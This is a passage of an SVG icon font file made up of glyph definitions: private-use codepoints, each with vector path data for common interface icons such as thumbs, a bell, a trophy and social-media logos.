<glyph unicode="&#xf0a4;" d="M 64,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,192q0,12.75 -9.75,22.375t-22.25,9.625l-144,0 q0,5 3.75,12.125t 8.25,13.75t 8.25,17t 3.75,21.125q0,16.75 -11.125,24.375t-28.875,7.625q-6,0 -22.5-34.75q-6-11 -9.25-16.25q-10-16 -28-36.25q-17.75-20.25 -25.25-26.5 q-17.25-14.25 -35-14.25l-8,0 l0-160 l 8,0 q 18,0 41.75-8t 48.375-16t 44.875-8q 47.25,0 47.25,41.75q0,6.5 -1.25,14q 7.5,4 11.875,13.125t 4.375,18.375t-4.5,17.25q 13.25,12.5 13.25,29.75q0,6.25 -2.5,13.875t-6.25,11.875l 82.75,0 q 13,0 22.5,9.5t 9.5,22.5zM 448,192.25q0-26.25 -18.875-45.25t-45.125-19l-42.25,0 q-1-15.5 -9.25-29.75q 0.75-5.25 0.75-10.75 q0-25.25 -15-44.5q 0.25-34.75 -21.25-54.875t-56.75-20.125q-33.25,0 -80.5,17.25q-41,14.75 -55.75,14.75l-72,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,160 q0,13.25 9.375,22.625t 22.625,9.375l 72,0 q 2.5,0 5.375,1.125t 5.875,3.5t 5.625,4.5t 6,5.625t 5.125,5.375t 4.75,5.375t 3.5,4.25q 16.25,18.5 25,32.25q 3.25,5.25 8.25,15.5t 9.25,18t 10.125,15.75t 13.75,12.375 t 17.375,4.375q 31.25,0 51.625-16.75t 20.375-47.25q0-17 -5.5-32l 93.5,0 q 26,0 45-19t 19-44.75z"  />
<glyph unicode="&#xf0a3;" d="M 344,160l 34.5-33.75q 7.5-7 5-17.5q-3-10.25 -13-12.75l-47-12l 13.25-46.5q 3-10.25 -4.75-17.5q-7.25-7.75 -17.5-4.75l-46.5,13.25l-12-47q-2.5-10 -12.75-13q-3-0.5 -4.75-0.5q-7.75,0 -12.75,5.5l-33.75,34.5l-33.75-34.5q-7-7.5 -17.5-5q-10.25,2.75 -12.75,13l-12,47l-46.5-13.25q-10.25-3 -17.5,4.75q-7.75,7.25 -4.75,17.5 l 13.25,46.5l-47,12q-10,2.5 -13,12.75q-2.5,10.5 5,17.5l 34.5,33.75l-34.5,33.75q-7.5,7 -5,17.5q 3,10.25 13,12.75l 47,12l-13.25,46.5q-3,10.25 4.75,17.5q 7.25,7.75 17.5,4.75l 46.5-13.25l 12,47q 2.5,10.25 12.75,12.75q 10.25,3 17.5-4.75l 33.75-34.75l 33.75,34.75q 7.25,7.5 17.5,4.75q 10.25-2.5 12.75-12.75l 12-47l 46.5,13.25q 10.25,3 17.5-4.75q 7.75-7.25 4.75-17.5 l-13.25-46.5l 47-12q 10-2.5 13-12.75q 2.5-10.5 -5-17.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf0a2;" d="M 212-40q0,4 -4,4q-14.75,0 -25.375,10.625t-10.625,25.375q0,4 -4,4t-4-4q0-18.25 12.875-31.125t 31.125-12.875q 4,0 4,4zM 45.75,32l 324.5,0 q-41,45.25 -61.625,102.875t-20.625,121.125q0,64 -80,64t-80-64q0-63.5 -20.625-121.125t-61.625-102.875zM 416,32q0-13 -9.5-22.5t-22.5-9.5 l-112,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-112,0 q-13,0 -22.5,9.5t-9.5,22.5q 47.5,40.25 71.75,99.375t 24.25,124.625q0,41.25 24,65.5t 66,29.25q-2,4.5 -2,9.25q0,10 7,17t 17,7t 17-7t 7-17q0-4.75 -2-9.25q 42-5 66-29.25t 24-65.5q0-65.5 24.25-124.625t 71.75-99.375z" horiz-adv-x="416"  />
<glyph unicode="&#xf0a1;" d="M 416,224q 13.25,0 22.625-9.375t 9.375-22.625t-9.375-22.625t-22.625-9.375l0-96 q0-13 -9.5-22.5t-22.5-9.5q-104.25,86.75 -203,95q-14.5-4.75 -22.75-16.5t-7.75-25.125t 10-23.125q-5-8.25 -5.75-16.375t 1.5-14.5t 8.375-13.75t 12-12.5t 15.375-12.625q-7.25-14.5 -27.875-20.75t-42.125-2.875t-33,13.875q-1.75,5.75 -7.375,21.875 t-8,23.625t-5.75,22.25t-3.75,25.25t 0.875,24.625t 5.5,27.625l-30.5,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,48 q0,16.5 11.75,28.25t 28.25,11.75l 120,0 q 108.75,0 224,96q 13,0 22.5-9.5t 9.5-22.5l0-96 zM 384,73l0,238.5 q-98.5-75.5 -192-85.75l0-67.5 q 94.25-10.5 192-85.25z"  />
<glyph unicode="&#xf0a0;" d="M 260,80q0-8.25 -5.875-14.125t-14.125-5.875t-14.125,5.875t-5.875,14.125t 5.875,14.125t 14.125,5.875t 14.125-5.875t 5.875-14.125zM 324,80q0-8.25 -5.875-14.125t-14.125-5.875t-14.125,5.875t-5.875,14.125t 5.875,14.125t 14.125,5.875t 14.125-5.875t 5.875-14.125zM 352,40l0,80 q0,3.25 -2.375,5.625t-5.625,2.375 l-304,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-80 q0-3.25 2.375-5.625t 5.625-2.375l 304,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 44.5,160l 295,0 l-39.25,120.5q-1,3.25 -4,5.375t-6.5,2.125l-195.5,0 q-3.5,0 -6.5-2.125t-4-5.375zM 384,120l0-80 q0-16.5 -11.75-28.25t-28.25-11.75l-304,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,80 q0,6.25 4,18.75 l 49.25,151.5q 4.25,13.25 15.75,21.5t 25.25,8.25l 195.5,0 q 13.75,0 25.25-8.25t 15.75-21.5l 49.25-151.5q 4-12.5 4-18.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf09e;" d="M 96,48q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 224,17.25q 0.5-7 -4.25-12q-4.5-5.25 -11.75-5.25l-33.75,0 q-6.25,0 -10.75,4.125t-5,10.375q-5.5,57.25 -46.125,97.875t-97.875,46.125q-6.25,0.5 -10.375,5t-4.125,10.75l0,33.75 q0,7.25 5.25,11.75q 4.25,4.25 10.75,4.25l 1.25,0 q 40-3.25 76.5-20.125 t 64.75-45.375q 28.5-28.25 45.375-64.75t 20.125-76.5zM 352,16.75q 0.5-6.75 -4.5-11.75q-4.5-5 -11.5-5l-35.75,0 q-6.5,0 -11.125,4.375t-4.875,10.625q-3,53.75 -25.25,102.125t-57.875,84t-84,57.875t-102.125,25.5q-6.25,0.25 -10.625,4.875t-4.375,10.875l0,35.75 q0,7 5,11.5q 4.5,4.5 11,4.5l 0.75,0 q 65.5-3.25 125.375-30t 106.375-73.5 q 46.75-46.5 73.5-106.375t 30-125.375z" horiz-adv-x="352"  />
<glyph unicode="&#xf09d;" d="M 440,352q 16.5,0 28.25-11.75t 11.75-28.25l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 zM 40,320q-3.25,0 -5.625-2.375t-2.375-5.625l0-56 l 416,0 l0,56 q0,3.25 -2.375,5.625t-5.625,2.375l-400,0 zM 440,0q 3.25,0 5.625,2.375t 2.375,5.625l0,152 l-416,0 l0-152  q0-3.25 2.375-5.625t 5.625-2.375l 400,0 zM 64,32l0,32 l 64,0 l0-32 l-64,0 zM 160,32l0,32 l 96,0 l0-32 l-96,0 z" horiz-adv-x="480"  />
<glyph unicode="&#xf09c;" d="M 416,240l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25l0-48 l 24,0 q 10,0 17-7t 7-17l0-144 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,144 q0,10 7,17t 17,7l 168,0 l0,48 q0,46.25 32.875,79.125t 79.125,32.875 t 79.125-32.875t 32.875-79.125z" horiz-adv-x="416"  />
<glyph unicode="&#xf09b;" d="M 384,160q0-62.75 -36.625-112.875t-94.625-69.375q-6.75-1.25 -9.875,1.75t-3.125,7.5l0,52.75 q0,24.25 -13,35.5q 14.25,1.5 25.625,4.5t 23.5,9.75t 20.25,16.625t 13.25,26.25t 5.125,37.625q0,30.25 -19.75,51.5q 9.25,22.75 -2,51q-7,2.25 -20.25-2.75t-23-11l-9.5-6q-23.25,6.5 -48,6.5t-48-6.5q-4,2.75 -10.625,6.75t-20.875,9.625t-21.5,3.375 q-11-28.25 -1.75-51q-19.75-21.25 -19.75-51.5q0-21.25 5.125-37.5t 13.125-26.25t 20.125-16.75t 23.5-9.75t 25.625-4.5q-10-9 -12.25-25.75q-5.25-2.5 -11.25-3.75t-14.25-1.25t-16.375,5.375t-13.875,15.625q-4.75,8 -12.125,13t-12.375,6l-5,0.75q-5.25,0 -7.25-1.125t-1.25-2.875t 2.25-3.5t 3.25-3l 1.75-1.25q 5.5-2.5 10.875-9.5t 7.875-12.75l 2.5-5.75 q 3.25-9.5 11-15.375t 16.75-7.5t 17.375-1.75t 13.875,0.875l 5.75,1q0-9.5 0.125-22.25t 0.125-13.5q0-4.5 -3.25-7.5t-10-1.75q-58,19.25 -94.625,69.375t-36.625,112.875q0,52.25 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf09a;" d="M 127.75,245l 64.25,0 l-7.5-71l-56.75,0 l0-206 l-85.25,0 l0,206 l-42.5,0 l0,71 l 42.5,0 l0,42.75 q0,45.5 21.5,68.875t 70.75,23.375l 56.75,0 l0-71 l-35.5,0 q-9.75,0 -15.625-1.625t-8.5-5.875t-3.375-8.625t-0.75-12.375l0-35.5 z" horiz-adv-x="192"  />
<glyph unicode="&#xf099;" d="M 405,282q-16.75-24.5 -40.5-41.75q 0.25-3.5 0.25-10.5q0-32.5 -9.5-64.875t-28.875-62.125t-46.125-52.625t-64.5-36.5t-80.75-13.625q-67.75,0 -124,36.25q 8.75-1 19.5-1q 56.25,0 100.25,34.5q-26.25,0.5 -47,16.125t-28.5,39.875q 8.25-1.25 15.25-1.25q 10.75,0 21.25,2.75q-28,5.75 -46.375,27.875t-18.375,51.375l0,1 q 17-9.5 36.5-10.25 q-16.5,11 -26.25,28.75t-9.75,38.5q0,22 11,40.75q 30.25-37.25 73.625-59.625t 92.875-24.875q-2,9.5 -2,18.5q0,33.5 23.625,57.125t 57.125,23.625q 35,0 59-25.5q 27.25,5.25 51.25,19.5q-9.25-28.75 -35.5-44.5q 23.25,2.5 46.5,12.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf098;" d="M 320,85.75q0,2.75 -0.5,4q-0.75,2 -9.625,7.375t-22.125,12.375l-13.25,7.25q-1.25,0.75 -4.75,3.25t-6.25,3.75t-5.25,1.25q-4.5,0 -11.75-8.125t-14.25-16.375t-11-8.25q-1.75,0 -4.125,0.875t-3.875,1.625t-4.25,2.375t-3.5,2.125q-24.75,13.75 -42.625,31.625t-31.625,42.625q-0.5,0.75 -2.125,3.5t-2.375,4.25t-1.625,3.875t-0.875,4.125q0,3.25 5.125,8.375t 11.25,9.625 t 11.25,9.875t 5.125,9.125q0,2.5 -1.25,5.25t-3.75,6.25t-3.25,4.75q-0.75,1.5 -3.75,7.125t-6.25,11.375t-6.625,11.875t-6.25,10.125t-4.125,4.5t-4,0.5q-12,0 -25.25-5.5q-11.5-5.25 -20-23.625t-8.5-32.625q0-4 0.625-8.5t 1.25-7.625t 2.25-8.25t 2.5-7.375t 3.125-8.25t 2.75-7.5q 15-41 54.125-80.125t 80.125-54.125q 1.5-0.5 7.5-2.75t 8.25-3.125 t 7.375-2.5t 8.25-2.25t 7.625-1.25t 8.5-0.625q 14.25,0 32.625,8.5t 23.625,20q 5.5,13.25 5.5,25.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf097;" d="M 288,320l-256,0 l0-310.5 l 105.75,101.5l 22.25,21.25l 22.25-21.25l 105.75-101.5l0,310.5 zM 291,352q 5.75,0 11-2.25q 8.25-3.25 13.125-10.25t 4.875-15.5l0-322.25 q0-8.5 -4.875-15.5t-13.125-10.25q-4.75-2 -11-2q-12,0 -20.75,8l-110.25,106l-110.25-106q-9-8.25 -20.75-8.25q-5.75,0 -11,2.25q-8.25,3.25 -13.125,10.25t-4.875,15.5l0,322.25  q0,8.5 4.875,15.5t 13.125,10.25q 5.25,2.25 11,2.25l 262,0 z" horiz-adv-x="320"  />
<glyph unicode="&#xf096;" d="M 280,320l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,208 q0,16.5 -11.75,28.25t-28.25,11.75zM 352,280l0-208 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0  q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="352"  />
<glyph unicode="&#xf095;" d="M 352,74q0-6.75 -2.5-17.625t-5.25-17.125q-5.25-12.5 -30.5-26.5q-23.5-12.75 -46.5-12.75q-6.75,0 -13.125,0.875t-14.375,3.125t-11.875,3.625t-13.875,5.125t-12.25,4.5q-24.5,8.75 -43.75,20.75q-32,19.75 -66.125,53.875t-53.875,66.125q-12,19.25 -20.75,43.75q-0.75,2.25 -4.5,12.25t-5.125,13.875t-3.625,11.875t-3.125,14.375t-0.875,13.125 q0,23 12.75,46.5q 14,25.25 26.5,30.5q 6.25,2.75 17.125,5.25t 17.625,2.5q 3.5,0 5.25-0.75q 4.5-1.5 13.25-19q 2.75-4.75 7.5-13.5t 8.75-15.875t 7.75-13.375q 0.75-1 4.375-6.25t 5.375-8.875t 1.75-7.125q0-5 -7.125-12.5t-15.5-13.75t-15.5-13.25t-7.125-11.5q0-2.25 1.25-5.625t 2.125-5.125t 3.5-6t 2.875-4.75q 19-34.25 43.5-58.75t 58.75-43.5 q 0.5-0.25 4.75-2.875t 6-3.5t 5.125-2.125t 5.625-1.25q 4.5,0 11.5,7.125t 13.25,15.5t 13.75,15.5t 12.5,7.125q 3.5,0 7.125-1.75t 8.875-5.375t 6.25-4.375q 6.25-3.75 13.375-7.75t 15.875-8.75t 13.5-7.5q 17.5-8.75 19-13.25q 0.75-1.75 0.75-5.25z" horiz-adv-x="352"  />
<glyph unicode="&#xf094;" d="M 351.75,177.5q0,11 -1.75,28.375t-4.5,24.125q-3,7.5 -4.25,11t-2.25,9.125t-1,12.125q0,5.75 1.25,17.125t 1.25,16.875q0,9.25 -2.5,13.75q-1,0.25 -3.25,0.25q-4.75,0 -14.5-1.125t-14.75-1.125q-15,0 -44,6t-43.75,6q-10.75,0 -23.625-2.875t-21.25-5.875t-22.375-8.5q-34.25-13.5 -50.5-25.75q-24-18.25 -39.875-47.375t-22-59t-6.125-62.125 q0-10 3.125-30t 3.125-30.25q0-5.75 -2.75-16.625t-2.75-16.375t 3-9.125t 8.5-3.625q 6,0 18.125,2.75t 18.375,2.75q 14.25,0 42.375-3.875t 42.375-3.875q 45.25,0 71,9q 32.25,11.25 58.875,38.125t 41.5,61.375t 14.875,68.75zM 383.75,178q0-41.25 -17.5-81.875t-49-72t-70.25-45.125q-31-11 -81.5-11 q-14.25,0 -42.5,3.625t-42.25,3.625q-6,0 -18.125-3.625t-18.375-3.625q-18.25,0 -30.875,13.875t-12.625,32.125q0,6 2.75,17t 2.75,16.75q0,10 -3.125,30.125t-3.125,30.375q0,27.75 4.5,54.375t 13.625,52.375t 25.125,48.5t 37.5,39q 19.5,14.75 58,30q 48.5,19.5 79,19.5q 15,0 43.875-6t 43.375-6q 4.75,0 14.25,1.25t 14.5,1.25 q 20.25,0 29.5-12.625t 9.25-33.625q0-5.75 -1.25-17t-1.25-17q0-2.5 0.25-4.625t 0.75-4.25t 1-3.375t 1.625-4t 1.625-4.25q 4-10 6.25-29.625t 2.25-34.125z" horiz-adv-x="384"  />
<glyph unicode="&#xf093;" d="M 320,16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 384,16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 416,72l0-80 q0-10 -7-17t-17-7l-368,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 106.75,0 q 5.25-14 17.625-23 t 27.625-9l 64,0 q 15.25,0 27.625,9t 17.625,23l 106.75,0 q 10,0 17-7t 7-17zM 334.75,234q-4.25-10 -14.75-10l-64,0 l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-64,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 l-64,0 q-10.5,0 -14.75,10q-4.25,9.75 3.5,17.25l 112,112q 4.5,4.75 11.25,4.75t 11.25-4.75l 112-112q 7.75-7.5 3.5-17.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf092;" d="M 98.5,46q-2-2.25 -5,0.75q-3.25,2.75 -1,4.75q 2,2.25 5-0.75q 3-2.75 1-4.75zM 88,61.25q 2.25-3 0-4.75q-2-1.5 -4.25,1.75t0,4.5q 2.25,1.75 4.25-1.5zM 72.75,76.25q-1.25-1.75 -3.25-0.5q-2.5,1.25 -1.75,3q 0.75,1.25 3.25,0.5q 2.5-1.25 1.75-3zM 80.5,67.75q-1.5-1.75 -4,0.75q-2.25,2.75 -0.5,4q 1.5,1.5 4-0.75q 2.25-2.75 0.5-4zM 112.75,39.75q-1-3 -4.75-1.5q-4.25,1 -3.25,3.75 t 4.75,1.75q 4-1.25 3.25-4zM 128.5,38.5q0-2.75 -4-2.75q-4.25-0.5 -4.25,2.75q0,2.75 4,2.75q 4.25,0.5 4.25-2.75zM 143,41q 0.5-2.5 -3.5-3.5t-4.5,2t 3.5,3.75q 4,0.5 4.5-2.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-56,0 q-4,0 -6.125,0.25t-4.875,1.25t-4,3.625t-1.25,6.875l0,59.75 q0,24.25 -13,35.5q 14.25,1.5 25.625,4.5t 23.5,9.75 t 20.25,16.625t 13.25,26.25t 5.125,37.625q0,30.25 -19.75,51.5q 9.25,22.75 -2,51q-7,2.25 -20.25-2.75t-23-11l-9.5-6q-23.25,6.5 -48,6.5t-48-6.5q-4,2.75 -10.625,6.75t-20.875,9.625t-21.5,3.375q-11-28.25 -1.75-51q-19.75-21.25 -19.75-51.5q0-21.25 5.125-37.5t 13.125-26.25t 20.125-16.75t 23.5-9.75t 25.625-4.5q-10-9 -12.25-25.75 q-5.25-2.5 -11.25-3.75t-14.25-1.25t-16.375,5.375t-13.875,15.625q-4.75,8 -12.125,13t-12.375,6l-5,0.75q-5.25,0 -7.25-1.125t-1.25-2.875t 2.25-3.5t 3.25-3l 1.75-1.25q 5.5-2.5 10.875-9.5t 7.875-12.75l 2.5-5.75q 3.25-9.5 11-15.375t 16.75-7.5t 17.375-1.75t 13.875,0.875l 5.75,1q0-9.5 0.125-25.75t 0.125-17q0-5.5 -2.75-8.375t-5.5-3.25t-8.25-0.375 l-56,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf091;" d="M 114.5,163.25q-18.5,40.5 -18.5,92.75l-64,0 l0-24 q0-19.5 23.625-40.5t 58.875-28.25zM 384,232l0,24 l-64,0 q0-52.25 -18.5-92.75q 35.25,7.25 58.875,28.25t 23.625,40.5zM 416,264l0-32 q0-17.75 -10.375-35.75t-28-32.5t-43.25-24.375t-53.875-11.125q-10.5-13.5 -23.75-23.75q-9.5-8.5 -13.125-18.125t-3.625-22.375q0-13.5 7.625-22.75 t 24.375-9.25q 18.75,0 33.375-11.375t 14.625-28.625l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,17.25 14.625,28.625t 33.375,11.375q 16.75,0 24.375,9.25t 7.625,22.75q0,12.75 -3.625,22.375t-13.125,18.125q-13.25,10.25 -23.75,23.75q-28.25,1.25 -53.875,11.125t-43.25,24.375t-28,32.5t-10.375,35.75l0,32 q0,10 7,17t 17,7l 72,0 l0,24  q0,16.5 11.75,28.25t 28.25,11.75l 144,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 72,0 q 10,0 17-7t 7-17z" horiz-adv-x="416"  />
<glyph unicode="&#xf090;" d="M 296,160q0-6.5 -4.75-11.25l-136-136q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,72 l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 l0,72 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 136-136q 4.75-4.75 4.75-11.25zM 384,248l0-176 q0-29.75 -21.125-50.875t-50.875-21.125l-80,0 q-3.25,0 -5.625,2.375t-2.375,5.625 q0,1 -0.25,5t-0.125,6.625t 0.75,5.875t 2.5,4.875t 5.125,1.625l 80,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,176 q0,16.5 -11.75,28.25t-28.25,11.75l-72,0 l-2.75,0 l-3.25,0 t-2.875,0.25t-2.875,0.75t-2,1.375t-1.75,2.25t-0.5,3.375q0,1 -0.25,5t-0.125,6.625t 0.75,5.875t 2.5,4.875t 5.125,1.625l 80,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf08e;" d="M 352,152l0-80 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 176,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,80  q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448,368l0-128 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-44,44l-163-163q-2.5-2.5 -5.75-2.5t-5.75,2.5l-28.5,28.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 163,163l-44,44q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf08d;" d="M 120,168l0,112 q0,3.5 -2.25,5.75t-5.75,2.25t-5.75-2.25t-2.25-5.75l0-112 q0-3.5 2.25-5.75t 5.75-2.25t 5.75,2.25t 2.25,5.75zM 288,80q0-6.5 -4.75-11.25t-11.25-4.75l-107.25,0 l-12.75-120.75q-0.5-3 -2.625-5.125t-5.125-2.125l-0.25,0 q-6.75,0 -8,6.75l-19,121.25l-101,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,30.75 19.625,55.375t 44.375,24.625l0,128 q-13,0 -22.5,9.5 t-9.5,22.5t 9.5,22.5t 22.5,9.5l 160,0 q 13,0 22.5-9.5t 9.5-22.5t-9.5-22.5t-22.5-9.5l0-128 q 24.75,0 44.375-24.625t 19.625-55.375z" horiz-adv-x="288"  />
<glyph unicode="&#xf08c;" d="M 59.25,30.5l 57.75,0 l0,173.5 l-57.75,0 l0-173.5 zM 120.75,257.5q-0.25,13 -9,21.5t-23.25,8.5t-23.625-8.5t-9.125-21.5q0-12.75 8.875-21.375t 23.125-8.625l 0.25,0 q 14.75,0 23.75,8.625t 9,21.375zM 267,30.5l 57.75,0 l0,99.5 q0,38.5 -18.25,58.25t-48.25,19.75q-34,0 -52.25-29.25l 0.5,0 l0,25.25 l-57.75,0 q 0.75-16.5 0-173.5l 57.75,0 l0,97 q0,9.5 1.75,14q 3.75,8.75 11.25,14.875t 18.5,6.125 q 29,0 29-39.25l0-92.75 zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf08b;" d="M 160,24q0-1 0.25-5t 0.125-6.625t-0.75-5.875t-2.5-4.875t-5.125-1.625l-80,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,176 q0,29.75 21.125,50.875t 50.875,21.125l 80,0 q 3.25,0 5.625-2.375t 2.375-5.625q0-1 0.25-5t 0.125-6.625t-0.75-5.875t-2.5-4.875t-5.125-1.625l-80,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-176  q0-16.5 11.75-28.25t 28.25-11.75l 72,0 l 2.75,0 l 3.25,0 t 2.875-0.25t 2.875-0.75t 2-1.375t 1.75-2.25t 0.5-3.375zM 392,160q0-6.5 -4.75-11.25l-136-136q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,72 l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 l0,72 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 136-136q 4.75-4.75 4.75-11.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf08a;" d="M 416,235q0,20.25 -5.375,35.75t-13.75,24.625t-20.375,14.875t-23.5,7.75t-24.5,2t-28-6.375t-27.625-16t-21.625-18t-15-15.375q-4.5-5.5 -12.25-5.5t-12.25,5.5q-6,7 -15,15.375t-21.625,18t-27.625,16t-28,6.375t-24.5-2t-23.5-7.75t-20.375-14.875t-13.75-24.625t-5.375-35.75q0-42 46.75-88.75l 145.25-140l 145,139.75 q 47,47 47,89zM 448,235q0-55.25 -57.25-112.5l-155.75-150q-4.5-4.5 -11-4.5t-11,4.5l-156,150.5q-2.5,2 -6.875,6.5t-13.875,16.375t-17,24.375t-13.375,30.25t-5.875,34.5q0,55 31.75,86t 87.75,31q 15.5,0 31.625-5.375t 30-14.5t 23.875-17.125t 19-17q 9,9 19,17t 23.875,17.125t 30,14.5t 31.625,5.375 q 56,0 87.75-31t 31.75-86z"  />
<glyph unicode="&#xf089;" d="M 208,376l0-334.75 l-112.25-59q-5.5-3 -10-3q-5.25,0 -7.875,3.625t-2.625,8.875q0,1.5 0.5,5l 21.5,125l-91,88.5q-6.25,6.75 -6.25,12q0,9.25 14,11.5l 125.5,18.25l 56.25,113.75q 4.75,10.25 12.25,10.25z" horiz-adv-x="224"  />
<glyph unicode="&#xf088;" d="M 64,272q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,128q0,8.75 -5.375,20.25t-13.375,11.75q 3.75,4.25 6.25,11.875t 2.5,13.875q0,17.25 -13.25,29.75q 4.5,8 4.5,17.25t-4.375,18.375t-11.875,13.125q 1.25,7.5 1.25,14q0,21.25 -12.25,31.5t-34,10.25l-32,0 q-32.75,0 -85.5-18.25q-1.25-0.5 -7.25-2.625 t-8.875-3.125t-8.75-2.875t-9.5-2.75t-8.25-1.625t-7.875-0.75l-8,0 l0-160 l 8,0 q 4,0 8.875-2.25t 10-6.75t 9.625-8.875t 10-11t 8.625-10.625t 7.875-10.25t 5.75-7.5q 13.75-17 19.25-22.75q 10.25-10.75 14.875-27.375t 7.625-31.375t 9.5-21.25q 24,0 32,11.75t 8,36.25q0,14.75 -12,40.125t-12,39.875l 88,0 q 12.5,0 22.25,9.625t 9.75,22.375z M 384,127.75q0-25.75 -19-44.75t-45-19l-44,0 q 12-24.75 12-48q0-29.5 -8.75-46.5q-8.75-17.25 -25.5-25.375t-37.75-8.125q-12.75,0 -22.5,9.25q-8.5,8.25 -13.5,20.5t-6.375,22.625t-4.375,21.125t-7.75,16q-12,12.5 -26.75,31.75q-25.25,32.75 -34.25,38.75l-68.5,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,160 q0,13.25 9.375,22.625t 22.625,9.375 l 72,0 q 5.5,0 34.5,10q 32,11 55.75,16.5t 50,5.5l 28,0 q 35,0 56.625-19.75t 21.375-54l0-1.25 q 15-19.25 15-44.5q0-5.5 -0.75-10.75q 9.5-16.75 9.5-36q0-9 -2.25-17.25q 12.25-18.5 12.25-40.75z" horiz-adv-x="384"  />
